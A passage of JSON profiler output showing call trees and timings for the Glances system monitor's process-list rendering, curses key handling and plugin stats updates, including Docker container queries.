[{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_get_process_curses_cpu_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000301\",\"time\": 0.011564,\"attributes\": {\"cProgramlistPlugin\": 0.01156380699831061, \"l309\": 0.01156380699831061},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.011564,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_get_process_curses_memory_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000321\",\"time\": 0.001338,\"attributes\": {\"cProgramlistPlugin\": 0.0013377409995882772, \"l325\": 0.0013377409995882772},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.001338,\"attributes\": {\"cProgramlistPlugin\": 0.0013377409995882772, \"l885\": 0.0013377409995882772},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001338,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_get_process_curses_status\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000435\",\"time\": 0.002000,\"attributes\": {\"cProgramlistPlugin\": 0.00200005600345321, \"l440\": 0.00200005600345321},\"children\": [{\"identifier\": \"get_status_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000287\",\"time\": 0.002000,\"attributes\": {\"cProgramlistPlugin\": 0.00200005600345321, \"l296\": 0.00200005600345321},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_get_process_curses_cpu_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000301\",\"time\": 0.001999,\"attributes\": {\"cProgramlistPlugin\": 0.001998838000872638, \"l308\": 0.001998838000872638},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_get_process_curses_memory_info\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000357\",\"time\": 0.002001,\"attributes\": {\"cProgramlistPlugin\": 0.002001055996515788, \"l360\": 0.002001055996515788},\"children\": [{\"identifier\": \"_get_process_curses_vms\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000337\",\"time\": 0.002001,\"attributes\": {\"cProgramlistPlugin\": 0.002001055996515788, \"l340\": 0.002001055996515788},\"children\": [{\"identifier\": \"str.format\\u0000<built-in>\\u00000\",\"time\": 0.002001,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"_get_process_curses_nice\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000422\",\"time\": 0.001999,\"attributes\": {\"cProgramlistPlugin\": 0.0019992750021629035, \"l429\": 0.0019992750021629035},\"children\": [{\"identifier\": \"get_nice_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000273\",\"time\": 0.001999,\"attributes\": {\"cProgramlistPlugin\": 0.0019992750021629035, \"l276\": 0.0019992750021629035},\"children\": [{\"identifier\": \"get_limit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000955\",\"time\": 0.001999,\"attributes\": {\"cProgramlistPlugin\": 0.0019992750021629035, \"l969\": 0.0019992750021629035},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"_get_process_curses_io_counters\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000469\",\"time\": 0.002002,\"attributes\": {\"cProgramlistPlugin\": 0.002001777000259608, \"l471\": 0.002001777000259608},\"children\": [{\"identifier\": \"_get_process_curses_io_read_write\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000450\",\"time\": 0.002002,\"attributes\": {\"cProgramlistPlugin\": 0.002001777000259608, \"l465\": 0.002001777000259608},\"children\": [{\"identifier\": \"str.format\\u0000<built-in>\\u00000\",\"time\": 0.002002,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"sort_stats\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000800\",\"time\": 0.001999,\"attributes\": {\"l824\": 0.001999387997784652},\"children\": [{\"identifier\": \"<lambda>\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000773\",\"time\": 0.001999,\"attributes\": {\"l773\": 0.001999387997784652},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"get_process_curses_data\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000520\",\"time\": 0.006001,\"attributes\": {\"cProcesslistPlugin\": 0.00600082500022836, \"l538\": 0.00600082500022836},\"children\": [{\"identifier\": \"_get_process_curses_io_counters\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000469\",\"time\": 0.002003,\"attributes\": {\"cProcesslistPlugin\": 0.0020025510020786896, \"l471\": 0.0020025510020786896},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002003,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_get_process_curses_cpu_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000301\",\"time\": 0.002001,\"attributes\": {\"cProcesslistPlugin\": 0.00200132899772143, \"l309\": 0.00200132899772143},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.002001,\"attributes\": {\"cProcesslistPlugin\": 0.00200132899772143, \"l855\": 0.00200132899772143},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_get_process_curses_pid\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000364\",\"time\": 0.001997,\"attributes\": {\"cProcesslistPlugin\": 0.0019969450004282407, \"l368\": 0.0019969450004282407},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001997,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []},{\"identifier\": \"get_process_curses_data\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000520\",\"time\": 0.016000,\"attributes\": {\"cProcesslistPlugin\": 0.015999795999960043, \"l538\": 0.015999795999960043},\"children\": [{\"identifier\": \"_get_process_curses_username\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000370\",\"time\": 0.002001,\"attributes\": {\"cProcesslistPlugin\": 0.0020012520035379566, \"l375\": 0.0020012520035379566},\"children\": [{\"identifier\": \"str.format\\u0000<built-in>\\u00000\",\"time\": 0.002001,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_get_process_curses_status\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000435\",\"time\": 0.001999,\"attributes\": {\"cProcesslistPlugin\": 0.0019992179950349964, \"l440\": 0.0019992179950349964},\"children\": [{\"identifier\": \"get_status_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000287\",\"time\": 0.001999,\"attributes\": {\"cProcesslistPlugin\": 0.0019992179950349964, \"l296\": 0.0019992179950349964},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_get_process_curses_io_counters\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000469\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.002000322005187627, \"l471\": 0.002000322005187627},\"children\": [{\"identifier\": \"_get_process_curses_io_read_write\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000450\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.002000322005187627, \"l465\": 0.002000322005187627},\"children\": [{\"identifier\": \"str.format\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"_get_process_curses_num_threads\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000411\",\"time\": 0.001999,\"attributes\": {\"cProcesslistPlugin\": 0.0019994289978058077, \"l420\": 0.0019994289978058077},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_get_process_curses_nice\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000422\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.002000228996621445, \"l429\": 0.002000228996621445},\"children\": [{\"identifier\": \"get_nice_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000273\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.002000228996621445, \"l285\": 0.002000228996621445},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_get_process_curses_io_counters\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000469\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.0019995120019302703, \"l472\": 0.0019995120019302703},\"children\": [{\"identifier\": \"_get_process_curses_io_read_write\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000450\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.0019995120019302703, \"l466\": 0.0019995120019302703},\"children\": [{\"identifier\": \"curse_add_line\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001105\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.0019995120019302703, \"l1130\": 0.0019995120019302703},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"_get_process_curses_pid\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000364\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.0020001060038339347, \"l367\": 0.0020001060038339347},\"children\": [{\"identifier\": \"_max_pid_size\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u00001008\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.0020001060038339347, \"l1011\": 0.0020001060038339347},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_get_process_curses_status\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000435\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.001999727996008005, \"l440\": 0.001999727996008005},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"msg_curse\\u0000/home/nicolargo/dev/glances/glances/plugins/sensors/__init__.py\\u0000257\",\"time\": 0.002001,\"attributes\": {\"cSensorsPlugin\": 0.002000717999180779, \"l310\": 0.002000717999180779},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.002375,\"attributes\": {},\"children\": []}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100666,\"attributes\": {\"cGlancesCursesStandalone\": 0.10066630700021051, \"l291\": 0.10066630700021051},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100666,\"attributes\": {\"cGlancesCursesStandalone\": 0.10066630700021051, \"l260\": 0.10066630700021051},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100666,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100666,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100469,\"attributes\": {\"cGlancesCursesStandalone\": 0.10046892199898139, \"l1202\": 0.10046892199898139},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100469,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100469,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100337,\"attributes\": {\"cGlancesCursesStandalone\": 0.10033677000319585, \"l291\": 0.10033677000319585},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100337,\"attributes\": {\"cGlancesCursesStandalone\": 0.10033677000319585, \"l260\": 0.10033677000319585},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100337,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100337,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100461,\"attributes\": {\"cGlancesCursesStandalone\": 0.10046142799546942, \"l1202\": 0.10046142799546942},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100461,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100461,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100578,\"attributes\": {\"cGlancesCursesStandalone\": 0.10057835600309772, \"l291\": 0.10057835600309772},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100578,\"attributes\": {\"cGlancesCursesStandalone\": 0.10057835600309772, \"l260\": 0.10057835600309772},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100578,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100578,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100510,\"attributes\": {\"cGlancesCursesStandalone\": 0.10051024099811912, \"l1202\": 0.10051024099811912},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100510,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100510,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100526,\"attributes\": {\"cGlancesCursesStandalone\": 0.10052610200364143, \"l291\": 0.10052610200364143},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100526,\"attributes\": {\"cGlancesCursesStandalone\": 0.10052610200364143, \"l260\": 0.10052610200364143},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100526,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100526,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100504,\"attributes\": {\"cGlancesCursesStandalone\": 0.10050388799572829, \"l1202\": 0.10050388799572829},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100504,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100504,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100512,\"attributes\": {\"cGlancesCursesStandalone\": 0.10051168900099583, \"l291\": 0.10051168900099583},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100512,\"attributes\": {\"cGlancesCursesStandalone\": 0.10051168900099583, \"l260\": 0.10051168900099583},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100512,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100512,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100512,\"attributes\": {\"cGlancesCursesStandalone\": 0.10051224600465503, \"l1202\": 0.10051224600465503},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100512,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100512,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100526,\"attributes\": {\"cGlancesCursesStandalone\": 0.10052555899892468, \"l291\": 0.10052555899892468},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100526,\"attributes\": {\"cGlancesCursesStandalone\": 0.10052555899892468, \"l260\": 0.10052555899892468},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100526,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100526,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100359,\"attributes\": {\"cGlancesCursesStandalone\": 0.10035865700046998, \"l1202\": 0.10035865700046998},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100359,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100359,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100470,\"attributes\": {\"cGlancesCursesStandalone\": 0.10046994399453979, \"l291\": 0.10046994399453979},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100470,\"attributes\": {\"cGlancesCursesStandalone\": 0.10046994399453979, \"l260\": 0.10046994399453979},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100470,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100470,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100435,\"attributes\": {\"cGlancesCursesStandalone\": 0.10043506900547072, \"l1202\": 0.10043506900547072},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100435,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100435,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100579,\"attributes\": {\"cGlancesCursesStandalone\": 0.1005787159956526, \"l291\": 0.1005787159956526},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100579,\"attributes\": {\"cGlancesCursesStandalone\": 0.1005787159956526, \"l260\": 0.1005787159956526},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100579,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100579,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100389,\"attributes\": {\"cGlancesCursesStandalone\": 0.10038862900546519, \"l1202\": 0.10038862900546519},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100389,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100389,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/stats.py\\u0000278\",\"time\": 0.094794,\"attributes\": {\"cGlancesStats\": 0.09479434699460398, \"l287\": 0.09479434699460398},\"children\": [{\"identifier\": \"inner\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000573\",\"time\": 0.094794,\"attributes\": {\"cGlancesStats\": 0.09479434699460398, \"l575\": 0.09479434699460398},\"children\": [{\"identifier\": \"_func\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000568\",\"time\": 0.094794,\"attributes\": {\"l571\": 0.09479434699460398},\"children\": [{\"identifier\": \"update_plugin\\u0000/home/nicolargo/dev/glances/glances/stats.py\\u0000271\",\"time\": 0.094794,\"attributes\": {\"cGlancesStats\": 0.09479434699460398, \"l274\": 0.07285571199463448, \"l275\": 0.02193863499996951},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001275\",\"time\": 0.002804,\"attributes\": {\"cDiskioPlugin\": 0.0028043579950463027, \"l1278\": 0.0028043579950463027},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001293\",\"time\": 0.002804,\"attributes\": {\"l1295\": 0.0028043579950463027},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/diskio/__init__.py\\u0000108\",\"time\": 0.002804,\"attributes\": {\"cDiskioPlugin\": 0.0028043579950463027, \"l114\": 0.0028043579950463027},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001349\",\"time\": 0.002804,\"attributes\": {\"cDiskioPlugin\": 0.0028043579950463027, \"l1351\": 0.0028043579950463027},\"children\": [{\"identifier\": \"update_local\\u0000/home/nicolargo/dev/glances/glances/plugins/diskio/__init__.py\\u0000143\",\"time\": 0.002804,\"attributes\": {\"cDiskioPlugin\": 0.0028043579950463027, \"l163\": 0.0028043579950463027},\"children\": [{\"identifier\": \"filter_stats\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000890\",\"time\": 0.002804,\"attributes\": {\"cDiskioPlugin\": 0.0028043579950463027, \"l893\": 0.0028043579950463027},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002804,\"attributes\": {},\"children\": []}]}]}]}]}]}]},{\"identifier\": \"update_views\\u0000/home/nicolargo/dev/glances/glances/plugins/diskio/__init__.py\\u0000179\",\"time\": 0.001993,\"attributes\": {\"cDiskioPlugin\": 0.001993352998397313, \"l193\": 0.001993352998397313},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.001993,\"attributes\": {\"cDiskioPlugin\": 0.001993352998397313, \"l857\": 0.001993352998397313},\"children\": [{\"identifier\": \"get_limit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000955\",\"time\": 0.001993,\"attributes\": {\"cDiskioPlugin\": 0.001993352998397313, \"l963\": 0.001993352998397313},\"children\": [{\"identifier\": \"str.lower\\u0000<built-in>\\u00000\",\"time\": 0.001993,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001993,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001275\",\"time\": 0.065995,\"attributes\": {\"cContainersPlugin\": 0.0024857790049281903, \"l1278\": 0.06599450800422346, \"cProcesscountPlugin\": 0.06350872899929527},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001293\",\"time\": 0.065995,\"attributes\": {\"l1295\": 0.06599450800422346},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/__init__.py\\u0000230\",\"time\": 0.002486,\"attributes\": {\"cContainersPlugin\": 0.0024857790049281903, \"l252\": 0.0024857790049281903},\"children\": [{\"identifier\": \"<genexpr>\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/__init__.py\\u0000253\",\"time\": 0.002486,\"attributes\": {\"l256\": 0.0024857790049281903},\"children\": [{\"identifier\": \"get_containers_from_updated_watcher\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/__init__.py\\u0000247\",\"time\": 0.002486,\"attributes\": {\"l248\": 0.0024857790049281903},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/engines/docker.py\\u0000248\",\"time\": 0.002486,\"attributes\": {\"cDockerExtension\": 0.0024857790049281903, \"l260\": 0.0024857790049281903},\"children\": [{\"identifier\": \"list\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/models/containers.py\\u0000957\",\"time\": 0.002486,\"attributes\": {\"cContainerCollection\": 0.0024857790049281903, \"l1009\": 0.0024857790049281903},\"children\": [{\"identifier\": \"containers\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/api/container.py\\u0000152\",\"time\": 0.002486,\"attributes\": {\"cAPIClient\": 0.0024857790049281903, \"l212\": 0.0024857790049281903},\"children\": [{\"identifier\": \"inner\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/utils/decorators.py\\u000038\",\"time\": 0.002486,\"attributes\": {\"cAPIClient\": 0.0024857790049281903, \"l44\": 0.0024857790049281903},\"children\": [{\"identifier\": \"_get\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/api/client.py\\u0000244\",\"time\": 0.002486,\"attributes\": {\"cAPIClient\": 0.0024857790049281903, \"l246\": 0.0024857790049281903},\"children\": [{\"identifier\": \"get\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/sessions.py\\u0000593\",\"time\": 0.002486,\"attributes\": {\"cAPIClient\": 0.0024857790049281903, \"l602\": 0.0024857790049281903},\"children\": [{\"identifier\": \"request\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/sessions.py\\u0000500\",\"time\": 0.002486,\"attributes\": {\"cAPIClient\": 0.0024857790049281903, \"l589\": 0.0024857790049281903},\"children\": [{\"identifier\": \"send\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/sessions.py\\u0000673\",\"time\": 0.002486,\"attributes\": {\"cAPIClient\": 0.0024857790049281903, \"l703\": 0.0024857790049281903},\"children\": [{\"identifier\": \"send\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/adapters.py\\u0000590\",\"time\": 0.002486,\"attributes\": {\"cUnixHTTPAdapter\": 0.0024857790049281903, \"l644\": 0.0024857790049281903},\"children\": [{\"identifier\": \"urlopen\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/urllib3/connectionpool.py\\u0000592\",\"time\": 0.002486,\"attributes\": {\"cUnixHTTPConnectionPool\": 0.0024857790049281903, \"l787\": 0.0024857790049281903},\"children\": [{\"identifier\": \"_make_request\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/urllib3/connectionpool.py\\u0000377\",\"time\": 0.002486,\"attributes\": {\"cUnixHTTPConnectionPool\": 0.0024857790049281903, \"l534\": 0.0024857790049281903},\"children\": [{\"identifier\": \"getresponse\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/urllib3/connection.py\\u0000540\",\"time\": 0.002486,\"attributes\": {\"cUnixHTTPConnection\": 0.0024857790049281903, \"l571\": 0.0024857790049281903},\"children\": [{\"identifier\": \"getresponse\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/http/client.py\\u00001386\",\"time\": 0.002486,\"attributes\": {\"cUnixHTTPConnection\": 0.0024857790049281903, \"l1430\": 0.0024857790049281903},\"children\": [{\"identifier\": \"begin\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/http/client.py\\u0000324\",\"time\": 0.002486,\"attributes\": {\"cHTTPResponse\": 0.0024857790049281903, \"l331\": 0.0024857790049281903},\"children\": [{\"identifier\": \"_read_status\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/http/client.py\\u0000291\",\"time\": 0.002486,\"attributes\": {\"cHTTPResponse\": 0.0024857790049281903, \"l292\": 0.0024857790049281903},\"children\": [{\"identifier\": \"readinto\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/socket.py\\u0000712\",\"time\": 0.002486,\"attributes\": {\"cSocketIO\": 0.0024857790049281903, \"l725\": 0.0024857790049281903},\"children\": [{\"identifier\": \"socket.recv_into\\u0000<built-in>\\u00000\",\"time\": 0.002486,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002486,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": 